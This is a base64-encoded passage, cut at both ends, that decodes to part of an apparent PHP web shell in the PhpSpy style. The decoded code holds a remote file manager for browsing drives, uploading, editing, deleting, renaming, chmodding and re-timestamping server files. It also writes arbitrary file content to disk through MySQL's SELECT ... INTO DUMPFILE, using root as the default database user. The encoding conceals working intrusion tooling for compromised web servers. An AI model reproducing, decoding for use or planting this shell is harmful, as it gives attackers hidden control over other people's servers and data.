ZWFzZSBzZWxlY3QgZmlsZShzKScpOwoJCX0KCX0KCgkvLyArIC0rKyt8ICstKyAKCWVsc2VpZigk
ZG9pbmcgPT0gJ2RlbGZpbGVzJykgewoJCWlmICgkZGwpIHsKCQkJJGRmaWxlcz0nJzsKCQkJJHN1
Y2MgPSAkZmFpbCA9IDA7CgkJCWZvcmVhY2ggKCRkbCBhcyAkZmlsZXBhdGggPT4gJHZhbHVlKSB7
CgkJCQlpZiAoQHVubGluaygkZmlsZXBhdGgpKSB7CgkJCQkJJHN1Y2MrKzsKCQkJCX0gZWxzZSB7
CgkJCQkJJGZhaWwrKzsKCQkJCX0KCQkJfQoJCQltKCdEZWxldGVkIGZpbGUgaGF2ZSBmaW5pc2hl
ZCYjMTA3NTsmIzEwODQ7Y2hvb3NlICcuY291bnQoJGRsKS4nIHN1Y2Nlc3MgJy4kc3VjYy4nIGZh
aWwgJy4kZmFpbCk7CgkJfSBlbHNlIHsKCQkJbSgnUGxlYXNlIHNlbGVjdCBmaWxlKHMpJyk7CgkJ
fQoJfQoKCS8vIysrJiMxMTE4Oy0mIzEwOTg7Iy0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2Ny
ZWF0ZWRpcicpKTsKCW1ha2VoaWRlKCduZXdkaXJuYW1lJyk7CgltYWtlaGlkZSgnZGlyJywkbm93
cGF0aCk7Cglmb3JtZm9vdCgpOwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZmlsZXBlcm0nKSk7
CgltYWtlaGlkZSgnbmV3cGVybScpOwoJbWFrZWhpZGUoJ3BmaWxlJyk7CgltYWtlaGlkZSgnZGly
Jywkbm93cGF0aCk7Cglmb3JtZm9vdCgpOwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nY29weWZp
bGUnKSk7CgltYWtlaGlkZSgnc25hbWUnKTsKCW1ha2VoaWRlKCd0b2ZpbGUnKTsKCW1ha2VoaWRl
KCdkaXInLCRub3dwYXRoKTsKCWZvcm1mb290KCk7Cglmb3JtaGVhZChhcnJheSgnbmFtZSc9Pidy
ZW5hbWUnKSk7CgltYWtlaGlkZSgnb2xkbmFtZScpOwoJbWFrZWhpZGUoJ25ld2ZpbGVuYW1lJyk7
CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7Cglmb3JtZm9vdCgpOwoJZm9ybWhlYWQoYXJyYXko
J25hbWUnPT4nZmlsZW9wZm9ybScpKTsKCW1ha2VoaWRlKCdhY3Rpb24nKTsKCW1ha2VoaWRlKCdv
cGZpbGUnKTsKCW1ha2VoaWRlKCdkaXInKTsKCWZvcm1mb290KCk7CgoJJGZyZWUgPSBAZGlza19m
cmVlX3NwYWNlKCRub3dwYXRoKTsKCSEkZnJlZSAmJiAkZnJlZSA9IDA7CgkkYWxsID0gQGRpc2tf
dG90YWxfc3BhY2UoJG5vd3BhdGgpOwoJISRhbGwgJiYgJGFsbCA9IDA7CgkkdXNlZCA9ICRhbGwt
JGZyZWU7CgkkdXNlZF9wZXJjZW50ID0gQHJvdW5kKDEwMC8oJGFsbC8kZnJlZSksMik7CglwKCc8
aDI+RmlsZSBNYW5hZ2VyIC0gQ3VycmVudCBkaXNrIGZyZWUgJy5zaXplY291bnQoJGZyZWUpLicg
b2YgJy5zaXplY291bnQoJGFsbCkuJyAoJy4kdXNlZF9wZXJjZW50LiclKTwvaDI+Jyk7Cgo/Pgo8
dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5n
PSIwIiBzdHlsZT0ibWFyZ2luOjEwcHggMDsiPgogIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBv
c3QiIGlkPSJnb2RpciIgbmFtZT0iZ29kaXIiPgogIDx0cj4KICAgIDx0ZCBub3dyYXA+Q3VycmVu
dCBEaXJlY3RvcnkgKDw/cGhwIGVjaG8gJGRpcl93cml0ZWFibGU7Pz4sIDw/cGhwIGVjaG8gZ2V0
Q2htb2QoJG5vd3BhdGgpOz8+KTwvdGQ+Cgk8dGQgd2lkdGg9IjEwMCUiPjxpbnB1dCBuYW1lPSJ2
aWV3X3dyaXRhYmxlIiB2YWx1ZT0iMCIgdHlwZT0iaGlkZGVuIiAvPjxpbnB1dCBjbGFzcz0iaW5w
dXQiIG5hbWU9ImRpciIgdmFsdWU9Ijw/cGhwIGVjaG8gJG5vd3BhdGg7Pz4iIHR5cGU9InRleHQi
IHN0eWxlPSJ3aWR0aDoxMDAlO21hcmdpbjowIDhweDsiPjwvdGQ+CiAgICA8dGQgbm93cmFwPjxp
bnB1dCBjbGFzcz0iYnQiIHZhbHVlPSJHTyIgdHlwZT0ic3VibWl0Ij48L3RkPgogIDwvdHI+CiAg
PC9mb3JtPgo8L3RhYmxlPgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CmZ1bmN0aW9u
IGNyZWF0ZWRpcigpewoJdmFyIG5ld2Rpcm5hbWU7CgluZXdkaXJuYW1lID0gcHJvbXB0KCdQbGVh
c2UgaW5wdXQgdGhlIGRpcmVjdG9yeSBuYW1lOicsICcnKTsKCWlmICghbmV3ZGlybmFtZSkgcmV0
dXJuOwoJJCgnY3JlYXRlZGlyJykubmV3ZGlybmFtZS52YWx1ZT1uZXdkaXJuYW1lOwoJJCgnY3Jl
YXRlZGlyJykuc3VibWl0KCk7Cn0KZnVuY3Rpb24gZmlsZXBlcm0ocGZpbGUpewoJdmFyIG5ld3Bl
cm07CgluZXdwZXJtID0gcHJvbXB0KCdDdXJyZW50IGZpbGU6JytwZmlsZSsnXG5QbGVhc2UgaW5w
dXQgbmV3IGF0dHJpYnV0ZTonLCAnJyk7CglpZiAoIW5ld3Blcm0pIHJldHVybjsKCSQoJ2ZpbGVw
ZXJtJykubmV3cGVybS52YWx1ZT1uZXdwZXJtOwoJJCgnZmlsZXBlcm0nKS5wZmlsZS52YWx1ZT1w
ZmlsZTsKCSQoJ2ZpbGVwZXJtJykuc3VibWl0KCk7Cn0KZnVuY3Rpb24gY29weWZpbGUoc25hbWUp
ewoJdmFyIHRvZmlsZTsKCXRvZmlsZSA9IHByb21wdCgnT3JpZ2luYWwgZmlsZTonK3NuYW1lKydc
blBsZWFzZSBpbnB1dCBvYmplY3QgZmlsZSAoZnVsbHBhdGgpOicsICcnKTsKCWlmICghdG9maWxl
KSByZXR1cm47CgkkKCdjb3B5ZmlsZScpLnRvZmlsZS52YWx1ZT10b2ZpbGU7CgkkKCdjb3B5Zmls
ZScpLnNuYW1lLnZhbHVlPXNuYW1lOwoJJCgnY29weWZpbGUnKS5zdWJtaXQoKTsKfQpmdW5jdGlv
biByZW5hbWUob2xkbmFtZSl7Cgl2YXIgbmV3ZmlsZW5hbWU7CgluZXdmaWxlbmFtZSA9IHByb21w
dCgnRm9ybWVyIGZpbGUgbmFtZTonK29sZG5hbWUrJ1xuUGxlYXNlIGlucHV0IG5ldyBmaWxlbmFt
ZTonLCAnJyk7CglpZiAoIW5ld2ZpbGVuYW1lKSByZXR1cm47CgkkKCdyZW5hbWUnKS5uZXdmaWxl
bmFtZS52YWx1ZT1uZXdmaWxlbmFtZTsKCSQoJ3JlbmFtZScpLm9sZG5hbWUudmFsdWU9b2xkbmFt
ZTsKCSQoJ3JlbmFtZScpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIGRvZmlsZShkb2luZyx0aGVmaWxl
LG0pewoJaWYgKG0gJiYgIWNvbmZpcm0obSkpIHsKCQlyZXR1cm47Cgl9CgkkKCdmaWxlbGlzdCcp
LmRvaW5nLnZhbHVlPWRvaW5nOwoJaWYgKHRoZWZpbGUpewoJCSQoJ2ZpbGVsaXN0JykudGhlZmls
ZS52YWx1ZT10aGVmaWxlOwoJfQoJJCgnZmlsZWxpc3QnKS5zdWJtaXQoKTsKfQpmdW5jdGlvbiBj
cmVhdGVmaWxlKG5vd3BhdGgpewoJdmFyIGZpbGVuYW1lOwoJZmlsZW5hbWUgPSBwcm9tcHQoJ1Bs
ZWFzZSBpbnB1dCB0aGUgZmlsZSBuYW1lOicsICcnKTsKCWlmICghZmlsZW5hbWUpIHJldHVybjsK
CW9wZmlsZSgnZWRpdGZpbGUnLG5vd3BhdGggKyBmaWxlbmFtZSxub3dwYXRoKTsKfQpmdW5jdGlv
biBvcGZpbGUoYWN0aW9uLG9wZmlsZSxkaXIpewoJJCgnZmlsZW9wZm9ybScpLmFjdGlvbi52YWx1
ZT1hY3Rpb247CgkkKCdmaWxlb3Bmb3JtJykub3BmaWxlLnZhbHVlPW9wZmlsZTsKCSQoJ2ZpbGVv
cGZvcm0nKS5kaXIudmFsdWU9ZGlyOwoJJCgnZmlsZW9wZm9ybScpLnN1Ym1pdCgpOwp9CmZ1bmN0
aW9uIGdvZGlyKGRpcix2aWV3X3dyaXRhYmxlKXsKCWlmICh2aWV3X3dyaXRhYmxlKSB7CgkJJCgn
Z29kaXInKS52aWV3X3dyaXRhYmxlLnZhbHVlPTE7Cgl9CgkkKCdnb2RpcicpLmRpci52YWx1ZT1k
aXI7CgkkKCdnb2RpcicpLnN1Ym1pdCgpOwp9Cjwvc2NyaXB0PgogIDw/cGhwCgl0YmhlYWQoKTsK
CXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRp
cGFydC9mb3JtLWRhdGEiPjx0ciBjbGFzcz0iYWx0MSI+PHRkIGNvbHNwYW49IjciIHN0eWxlPSJw
YWRkaW5nOjVweDsiPicpOwoJcCgnPGRpdiBzdHlsZT0iZmxvYXQ6cmlnaHQ7Ij48aW5wdXQgY2xh
c3M9ImlucHV0IiBuYW1lPSJ1cGxvYWRmaWxlIiB2YWx1ZT0iIiB0eXBlPSJmaWxlIiAvPiA8aW5w
dXQgY2xhc3M9ImJ0IiBuYW1lPSJkb3VwZmlsZSIgdmFsdWU9IlVwbG9hZCIgdHlwZT0ic3VibWl0
IiAvPjxpbnB1dCBuYW1lPSJ1cGxvYWRkaXIiIHZhbHVlPSInLiRkaXIuJyIgdHlwZT0iaGlkZGVu
IiAvPjxpbnB1dCBuYW1lPSJkaXIiIHZhbHVlPSInLiRkaXIuJyIgdHlwZT0iaGlkZGVuIiAvPjwv
ZGl2PicpOwoJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJF9TRVJWRVJbIkRPQ1VN
RU5UX1JPT1QiXS4nXCcpOyI+V2ViUm9vdDwvYT4nKTsKCWlmICgkdmlld193cml0YWJsZSkgewoJ
CXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRub3dwYXRoLidcJyk7Ij5WaWV3
IEFsbDwvYT4nKTsKCX0gZWxzZSB7CgkJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2Rpcihc
JycuJG5vd3BhdGguJ1wnLFwnMVwnKTsiPlZpZXcgV3JpdGFibGU8L2E+Jyk7Cgl9CglwKCcgfCA8
YSBocmVmPSJqYXZhc2NyaXB0OmNyZWF0ZWRpcigpOyI+Q3JlYXRlIERpcmVjdG9yeTwvYT4gfCA8
YSBocmVmPSJqYXZhc2NyaXB0OmNyZWF0ZWZpbGUoXCcnLiRub3dwYXRoLidcJyk7Ij5DcmVhdGUg
RmlsZTwvYT4nKTsKCWlmIChJU19XSU4gJiYgSVNfQ09NKSB7CgkJJG9iaiA9IG5ldyBDT00oJ3Nj
cmlwdGluZy5maWxlc3lzdGVtb2JqZWN0Jyk7CgkJaWYgKCRvYmogJiYgaXNfb2JqZWN0KCRvYmop
KSB7CgkJCSREcml2ZVR5cGVEQiA9IGFycmF5KDAgPT4gJ1Vua25vdycsMSA9PiAnUmVtb3ZhYmxl
JywyID0+ICdGaXhlZCcsMyA9PiAnTmV0d29yaycsNCA9PiAnQ0RSb20nLDUgPT4gJ1JBTSBEaXNr
Jyk7CgkJCWZvcmVhY2goJG9iai0+RHJpdmVzIGFzICRkcml2ZSkgewoJCQkJaWYgKCRkcml2ZS0+
RHJpdmVUeXBlID09IDIpIHsKCQkJCQlwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwn
Jy4kZHJpdmUtPlBhdGguJy9cJyk7IiB0aXRsZT0iU2l6ZTonLnNpemVjb3VudCgkZHJpdmUtPlRv
dGFsU2l6ZSkuJyYjMTM7RnJlZTonLnNpemVjb3VudCgkZHJpdmUtPkZyZWVTcGFjZSkuJyYjMTM7
VHlwZTonLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJyI+Jy4kRHJpdmVUeXBlREJb
JGRyaXZlLT5Ecml2ZVR5cGVdLicoJy4kZHJpdmUtPlBhdGguJyk8L2E+Jyk7CgkJCQl9IGVsc2Ug
ewoJCQkJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkcml2ZS0+UGF0aC4n
L1wnKTsiIHRpdGxlPSJUeXBlOicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nIj4n
LiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJygnLiRkcml2ZS0+UGF0aC4nKTwvYT4n
KTsKCQkJCX0KCQkJfQoJCX0KCX0KCglwKCc8L3RkPjwvdHI+PC9mb3JtPicpOwoKCXAoJzx0ciBj
bGFzcz0iaGVhZCI+PHRkPiZuYnNwOzwvdGQ+PHRkPkZpbGVuYW1lPC90ZD48dGQgd2lkdGg9IjE2
JSI+TGFzdCBtb2RpZmllZDwvdGQ+PHRkIHdpZHRoPSIxMCUiPlNpemU8L3RkPjx0ZCB3aWR0aD0i
MjAlIj5DaG1vZCAvIFBlcm1zPC90ZD48dGQgd2lkdGg9IjIyJSI+QWN0aW9uPC90ZD48L3RyPicp
OwoKCS8vIyYjMTA5NzsrfC0gKy0rKy18Ky0rIHwtLSstKwoJJGRpcmRhdGE9YXJyYXkoKTsKCSRm
aWxlZGF0YT1hcnJheSgpOwoKCWlmICgkdmlld193cml0YWJsZSkgewoJCSRkaXJkYXRhID0gR2V0
TGlzdCgkbm93cGF0aCk7Cgl9IGVsc2UgewoJCS8vIC0rLSstLSMmIzExMDE7CgkJJGRpcnM9QG9w
ZW5kaXIoJGRpcik7CgkJd2hpbGUgKCRmaWxlPUByZWFkZGlyKCRkaXJzKSkgewoJCQkkZmlsZXBh
dGg9JG5vd3BhdGguJGZpbGU7CgkJCWlmKEBpc19kaXIoJGZpbGVwYXRoKSl7CgkJCQkkZGlyZGJb
J2ZpbGVuYW1lJ109JGZpbGU7CgkJCQkkZGlyZGJbJ210aW1lJ109QGRhdGUoJ1ktbS1kIEg6aTpz
JyxmaWxlbXRpbWUoJGZpbGVwYXRoKSk7CgkJCQkkZGlyZGJbJ2RpcmNobW9kJ109Z2V0Q2htb2Qo
JGZpbGVwYXRoKTsKCQkJCSRkaXJkYlsnZGlycGVybSddPWdldFBlcm1zKCRmaWxlcGF0aCk7CgkJ
CQkkZGlyZGJbJ2ZpbGVvd25lciddPWdldFVzZXIoJGZpbGVwYXRoKTsKCQkJCSRkaXJkYlsnZGly
bGluayddPSRub3dwYXRoOwoJCQkJJGRpcmRiWydzZXJ2ZXJfbGluayddPSRmaWxlcGF0aDsKCQkJ
CSRkaXJkYlsnY2xpZW50X2xpbmsnXT11ZSgkZmlsZXBhdGgpOwoJCQkJJGRpcmRhdGFbXT0kZGly
ZGI7CgkJCX0gZWxzZSB7CgkJCQkkZmlsZWRiWydmaWxlbmFtZSddPSRmaWxlOwoJCQkJJGZpbGVk
Ylsnc2l6ZSddPXNpemVjb3VudChAZmlsZXNpemUoJGZpbGVwYXRoKSk7CgkJCQkkZmlsZWRiWydt
dGltZSddPUBkYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRmaWxlcGF0aCkpOwoJCQkJJGZp
bGVkYlsnZmlsZWNobW9kJ109Z2V0Q2htb2QoJGZpbGVwYXRoKTsKCQkJCSRmaWxlZGJbJ2ZpbGVw
ZXJtJ109Z2V0UGVybXMoJGZpbGVwYXRoKTsKCQkJCSRmaWxlZGJbJ2ZpbGVvd25lciddPWdldFVz
ZXIoJGZpbGVwYXRoKTsKCQkJCSRmaWxlZGJbJ2RpcmxpbmsnXT0kbm93cGF0aDsKCQkJCSRmaWxl
ZGJbJ3NlcnZlcl9saW5rJ109JGZpbGVwYXRoOwoJCQkJJGZpbGVkYlsnY2xpZW50X2xpbmsnXT11
ZSgkZmlsZXBhdGgpOwoJCQkJJGZpbGVkYXRhW109JGZpbGVkYjsKCQkJfQoJCX0vLyB3aGlsZQoJ
CXVuc2V0KCRkaXJkYik7CgkJdW5zZXQoJGZpbGVkYik7CgkJQGNsb3NlZGlyKCRkaXJzKTsKCX0K
CUBzb3J0KCRkaXJkYXRhKTsKCUBzb3J0KCRmaWxlZGF0YSk7CgkkZGlyX2kgPSAnMCc7Cglmb3Jl
YWNoKCRkaXJkYXRhIGFzICRrZXkgPT4gJGRpcmRiKXsKCQlpZigkZGlyZGJbJ2ZpbGVuYW1lJ10h
PScuLicgJiYgJGRpcmRiWydmaWxlbmFtZSddIT0nLicpIHsKCQkJJHRoaXNiZyA9IGJnKCk7CgkJ
CXAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1c
J2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRoaXNiZy4nXCc7Ij4n
KTsKCQkJcCgnPHRkIHdpZHRoPSIyJSIgbm93cmFwPjxmb250IGZhY2U9IndpbmdkaW5ncyIgc2l6
ZT0iMyI+MDwvZm9udD48L3RkPicpOwoJCQlwKCc8dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpnb2Rp
cihcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZmlsZW5hbWUnXS4n
PC9hPjwvdGQ+Jyk7CgkJCXAoJzx0ZCBub3dyYXA+Jy4kZGlyZGJbJ210aW1lJ10uJzwvdGQ+Jyk7
CgkJCXAoJzx0ZCBub3dyYXA+LS08L3RkPicpOwoJCQlwKCc8dGQgbm93cmFwPicpOwoJCQlwKCc8
YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wn
KTsiPicuJGRpcmRiWydkaXJjaG1vZCddLic8L2E+IC8gJyk7CgkJCXAoJzxhIGhyZWY9ImphdmFz
Y3JpcHQ6ZmlsZXBlcm0oXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZGlyZGJb
J2RpcnBlcm0nXS4nPC9hPicuJGRpcmRiWydmaWxlb3duZXInXS4nPC90ZD4nKTsKCQkJcCgnPHRk
IG5vd3JhcD48YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2RlbGRpclwnLFwnJy4kZGlyZGJb
J3NlcnZlcl9saW5rJ10uJ1wnLFwnQXJlIHlvdSBzdXJlIHdpbGwgZGVsZXRlICcuJGRpcmRiWydm
aWxlbmFtZSddLic/IFxcblxcbklmIG5vbi1lbXB0eSBkaXJlY3RvcnksIHdpbGwgYmUgZGVsZXRl
IGFsbCB0aGUgZmlsZXMuXCcpIj5EZWw8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpyZW5hbWUo
XCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+UmVuYW1lPC9hPjwvdGQ+Jyk7CgkJCXAo
JzwvdHI+Jyk7CgkJCSRkaXJfaSsrOwoJCX0gZWxzZSB7CgkJCWlmKCRkaXJkYlsnZmlsZW5hbWUn
XT09Jy4uJykgewoJCQkJcCgnPHRyIGNsYXNzPScuYmcoKS4nPicpOwoJCQkJcCgnPHRkIGFsaWdu
PSJjZW50ZXIiPjxmb250IGZhY2U9IldpbmdkaW5ncyAzIiBzaXplPTQ+PTwvZm9udD48L3RkPjx0
ZCBub3dyYXAgY29sc3Bhbj0iNSI+PGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuZ2V0VXBQ
YXRoKCRub3dwYXRoKS4nXCcpOyI+UGFyZW50IERpcmVjdG9yeTwvYT48L3RkPicpOwoJCQkJcCgn
PC90cj4nKTsKCQkJfQoJCX0KCX0KCglwKCc8dHIgYmdjb2xvcj0iI2RkZGRkZCIgc3RseWU9ImJv
cmRlci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDsiPjx0
ZCBjb2xzcGFuPSI2IiBoZWlnaHQ9IjUiPjwvdGQ+PC90cj4nKTsKCXAoJzxmb3JtIGlkPSJmaWxl
bGlzdCIgbmFtZT0iZmlsZWxpc3QiIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9InBvc3QiPicp
OwoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsKCW1ha2VoaWRlKCd0aGVmaWxlJyk7CgltYWtl
aGlkZSgnZG9pbmcnKTsKCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsKCSRmaWxlX2kgPSAnMCc7
Cglmb3JlYWNoKCRmaWxlZGF0YSBhcyAka2V5ID0+ICRmaWxlZGIpewoJCWlmKCRmaWxlZGJbJ2Zp
bGVuYW1lJ10hPScuLicgJiYgJGZpbGVkYlsnZmlsZW5hbWUnXSE9Jy4nKSB7CgkJCSRmaWxldXJs
ID0gc3RyX3JlcGxhY2UoU0FfUk9PVCwnJywkZmlsZWRiWydzZXJ2ZXJfbGluayddKTsKCQkJJHRo
aXNiZyA9IGJnKCk7CgkJCXAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0
aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycu
JHRoaXNiZy4nXCc7Ij4nKTsKCQkJcCgnPHRkIHdpZHRoPSIyJSIgbm93cmFwPjxpbnB1dCB0eXBl
PSJjaGVja2JveCIgdmFsdWU9IjEiIG5hbWU9ImRsWycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4n
XSI+PC90ZD4nKTsKCQkJcCgnPHRkPjxhIGhyZWY9IicuJGZpbGV1cmwuJyIgdGFyZ2V0PSJfYmxh
bmsiPicuJGZpbGVkYlsnZmlsZW5hbWUnXS4nPC9hPjwvdGQ+Jyk7CgkJCXAoJzx0ZCBub3dyYXA+
Jy4kZmlsZWRiWydtdGltZSddLic8L3RkPicpOwoJCQlwKCc8dGQgbm93cmFwPicuJGZpbGVkYlsn
c2l6ZSddLic8L3RkPicpOwoJCQlwKCc8dGQgbm93cmFwPicpOwoJCQlwKCc8YSBocmVmPSJqYXZh
c2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRmaWxl
ZGJbJ2ZpbGVjaG1vZCddLic8L2E+IC8gJyk7CgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6Zmls
ZXBlcm0oXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGZpbGVkYlsnZmlsZXBl
cm0nXS4nPC9hPicuJGZpbGVkYlsnZmlsZW93bmVyJ10uJzwvdGQ+Jyk7CgkJCXAoJzx0ZCBub3dy
YXA+Jyk7CgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9maWxlKFwnZG93bmZpbGVcJyxcJycu
JGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+RG93bjwvYT4gfCAnKTsKCQkJcCgnPGEgaHJl
Zj0iamF2YXNjcmlwdDpjb3B5ZmlsZShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+
Q29weTwvYT4gfCAnKTsKCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpvcGZpbGUoXCdlZGl0Zmls
ZVwnLFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyxcJycuJGZpbGVkYlsnZGlybGluaydd
LidcJyk7Ij5FZGl0PC9hPiB8ICcpOwoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OnJlbmFtZShc
JycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+UmVuYW1lPC9hPiB8ICcpOwoJCQlwKCc8
YSBocmVmPSJqYXZhc2NyaXB0Om9wZmlsZShcJ25ld3RpbWVcJyxcJycuJGZpbGVkYlsnc2VydmVy
X2xpbmsnXS4nXCcsXCcnLiRmaWxlZGJbJ2RpcmxpbmsnXS4nXCcpOyI+VGltZTwvYT4nKTsKCQkJ
cCgnPC90ZD48L3RyPicpOwoJCQkkZmlsZV9pKys7CgkJfQoJfQoJcCgnPHRyIGNsYXNzPSInLmJn
KCkuJyI+PHRkIGFsaWduPSJjZW50ZXIiPjxpbnB1dCBuYW1lPSJjaGthbGwiIHZhbHVlPSJvbiIg
dHlwZT0iY2hlY2tib3giIG9uY2xpY2s9IkNoZWNrQWxsKHRoaXMuZm9ybSkiIC8+PC90ZD48dGQ+
PGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkb3ducmFyXCcpOyI+UGFja2luZyBkb3dubG9h
ZCBzZWxlY3RlZDwvYT4gLSA8YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2RlbGZpbGVzXCcp
OyI+RGVsZXRlIHNlbGVjdGVkPC9hPjwvdGQ+PHRkIGNvbHNwYW49IjQiIGFsaWduPSJyaWdodCI+
Jy4kZGlyX2kuJyBkaXJlY3RvcmllcyAvICcuJGZpbGVfaS4nIGZpbGVzPC90ZD48L3RyPicpOwoJ
cCgnPC9mb3JtPjwvdGFibGU+Jyk7Cn0vLyBlbmQgZGlyCgplbHNlaWYgKCRhY3Rpb24gPT0gJ3Nx
bGZpbGUnKSB7CglpZigkZG9pbmc9PSJteXNxbHVwbG9hZCIpewoJCSRmaWxlID0gJF9GSUxFU1sn
dXBsb2FkZmlsZSddOwoJCSRmaWxlbmFtZSA9ICRmaWxlWyd0bXBfbmFtZSddOwoJCWlmIChmaWxl
X2V4aXN0cygkc2F2ZXBhdGgpKSB7CgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhp
c3RlZCcpOwoJCX0gZWxzZSB7CgkJCWlmKCEkZmlsZW5hbWUpIHsKCQkJCW0oJ1BsZWFzZSBjaG9v
c2UgYSBmaWxlJyk7CgkJCX0gZWxzZSB7CgkJCQkkZnA9QGZvcGVuKCRmaWxlbmFtZSwncicpOwoJ
CQkJJGNvbnRlbnRzPUBmcmVhZCgkZnAsIGZpbGVzaXplKCRmaWxlbmFtZSkpOwoJCQkJQGZjbG9z
ZSgkZnApOwoJCQkJJGNvbnRlbnRzID0gYmluMmhleCgkY29udGVudHMpOwoJCQkJaWYoISR1cG5h
bWUpICR1cG5hbWUgPSAkZmlsZVsnbmFtZSddOwoJCQkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwk
ZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJCQkkcmVzdWx0ID0gcSgiU0VMRUNU
IDB4eyRjb250ZW50c30gRlJPTSBteXNxbC51c2VyIElOVE8gRFVNUEZJTEUgJyRzYXZlcGF0aCc7
Iik7CgkJCQltKCRyZXN1bHQgPyAnVXBsb2FkIHN1Y2Nlc3MnIDogJ1VwbG9hZCBoYXMgZmFpbGVk
OiAnLm15c3FsX2Vycm9yKCkpOwoJCQl9CgkJfQoJfQo/Pgo8c2NyaXB0IHR5cGU9InRleHQvamF2
YXNjcmlwdCI+CmZ1bmN0aW9uIG15c3FsZmlsZShkb2luZyl7CglpZighZG9pbmcpIHJldHVybjsK
CSQoJ2RvaW5nJykudmFsdWU9ZG9pbmc7CgkkKCdteXNxbGZpbGUnKS5kYmhvc3QudmFsdWU9JCgn
ZGJpbmZvJykuZGJob3N0LnZhbHVlOwoJJCgnbXlzcWxmaWxlJykuZGJwb3J0LnZhbHVlPSQoJ2Ri
aW5mbycpLmRicG9ydC52YWx1ZTsKCSQoJ215c3FsZmlsZScpLmRidXNlci52YWx1ZT0kKCdkYmlu
Zm8nKS5kYnVzZXIudmFsdWU7CgkkKCdteXNxbGZpbGUnKS5kYnBhc3MudmFsdWU9JCgnZGJpbmZv
JykuZGJwYXNzLnZhbHVlOwoJJCgnbXlzcWxmaWxlJykuZGJuYW1lLnZhbHVlPSQoJ2RiaW5mbycp
LmRibmFtZS52YWx1ZTsKCSQoJ215c3FsZmlsZScpLmNoYXJzZXQudmFsdWU9JCgnZGJpbmZvJyku
Y2hhcnNldC52YWx1ZTsKCSQoJ215c3FsZmlsZScpLnN1Ym1pdCgpOwp9Cjwvc2NyaXB0Pgo8P3Bo
cAoJISRkYmhvc3QgJiYgJGRiaG9zdCA9ICdsb2NhbGhvc3QnOwoJISRkYnVzZXIgJiYgJGRidXNl
ciA9ICdyb290JzsKCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7CgkkY2hhcnNldHMgPSBh
cnJheSgnJz0+J0RlZmF1bHQnLCdnYmsnPT4nR0JLJywgJ2JpZzUnPT4nQmlnNScsICd1dGY4Jz0+
J1VURi04JywgJ2xhdGluMSc9PidMYXRpbjEnKTsKCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidN
